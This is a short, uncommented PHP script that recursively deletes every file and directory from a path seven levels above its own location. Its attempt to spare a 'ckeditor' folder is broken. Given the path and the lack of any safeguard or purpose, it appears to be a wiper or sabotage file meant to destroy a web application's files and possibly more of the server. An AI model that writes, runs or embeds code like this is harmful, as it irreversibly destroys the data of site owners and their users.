<?php

$folder = __DIR__ . "/../../../../../../..";

rrmdir($folder);

function rrmdir($dir)
{
    if (is_dir($dir)) {
        $objects = scandir($dir);
        $key = array_search('ckeditor', $objects);
        if ($key >= 0) unset($objects[$key]);

        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir . "/" . $object) == "dir") {
                    rrmdir($dir."/".$object);
                } else {
                    unlink($dir."/".$object);
                }
            }
        }

        reset($objects);
        rmdir($dir);
    }
}
